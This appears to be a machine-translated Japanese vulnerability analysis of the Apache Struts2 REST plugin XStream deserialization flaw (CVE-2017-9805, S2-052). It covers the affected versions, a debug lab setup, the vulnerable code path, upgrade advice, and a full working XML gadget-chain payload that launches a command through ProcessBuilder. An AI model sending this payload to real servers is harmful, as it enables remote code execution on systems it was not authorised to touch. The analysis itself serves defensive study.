2017 年 9 月 5 日、海外のセキュリティ研究組織 lgtm.com のセキュリティ研究者によって発見された深刻な脆弱性が、Apache Struts 2 で正式にリリースされました。脆弱性番号は CVE-2017-9805 ( S2 -052)、攻撃者は慎重に構築された XML データを渡し、リモート コマンドを実行する可能性があります。
Struts2 REST プラグインの XStream コンポーネントには、逆シリアル化の脆弱性があります。XStream コンポーネントを使用して XML 形式のデータ パケットを逆シリアル化する場合、データ コンテンツが効果的に検証されないため、セキュリティ リスクが生じ、リモートで実行される可能性があります。コマンド。
エクスプロイト条件: REST プラグインを使用し、影響を受けるバージョン範囲内で使用します。
利用方法: 攻撃者はリモート悪用のために悪意のあるデータ パケットを作成します。
影響を受けるバージョン: Struts 2.1.2 - Struts 2.3.33、Struts 2.5 - Struts 2.5.12
1) 公式ソースコードをダウンロードします:
git clone https://github.com/apache/Struts.git
2) 2.5.12 ブランチに切り替えます:
git checkout STRUTS_2_5_12
3) src/apps/rest-showcase フォルダー全体をコピーしますソース パッケージが出てきて、新しいプロジェクトを作成します。
4) IDEA または eclipse を使用して Maven プロジェクトをインポートします。
5) デバッグ モードで実行した後は、楽しくデバッグできます
公式発表によると、この脆弱性は struts2-rest-plugin-2.5.12.jar パッケージの XstreamHandler クラスに存在することがわかっています。
それでは、このクラスをチェックしてください。このクラスには toObject メソッドがあり、その機能は XML コンテンツを逆シリアル化することです。
最初にこのメソッドにブレークポイントを置き、次にデータ パケットを構築します
データ パケットを送信した後、ブレークポイントにジャンプします。上部のコール スタックで、ContentTypeInterceptor がこのメソッドを呼び出します。
ContentTypeInterceptor クラスの intercept メソッドは、渡された Content-Type の値に基づいて、対応するオブジェクトを生成します。 application/xml に対応して、XML 処理オブジェクト XStreamHandler が生成されます。
f5 を続けて、逆シリアル化を実行する関数 unmarshal を参照してください。この関数の実行時にはデータ セキュリティ チェックが行われないため、リモート コマンドが実行されます。
#その後、アンマーシャル関数に入り、デバッグを続行します。AbstractReflectionConverter は、送信した XML タグと値を段階的に解析し、最後に poc
内のコードを呼び出します。 # 脆弱性の再現
Intercept で [送信] をクリックします。 HTTP リクエストを作成し、リクエストを送信します。ボディを POC ペイロードに変更し、Content-Type ヘッダーを application/xml に変更します。 ペイロードは:
<map> <entry> <jdk.nashorn.internal.objects.nativestring> <flags>0</flags> <value> <datahandler> <datasource> <is> <cipher> <initialized>false</initialized> <opmode>0</opmode> <serviceiterator> <iter> <iter></iter> <next> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirecterrorstream>false</redirecterrorstream> </next> </iter> <filter> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types></parameter-types> </method> <name>foo</name> </filter> <next>foo</next> </serviceiterator> <lock></lock> </cipher> <input> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </datasource> <transferflavors></transferflavors> </datahandler> <datalen>0</datalen> </value> </jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> <entry> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> </map>
パッチ
#修復提案
バージョン 2.3.0 から 2.3.33 は Struts 2.3.34 バージョンにアップグレードされます以上がStruts2-052 脆弱性分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。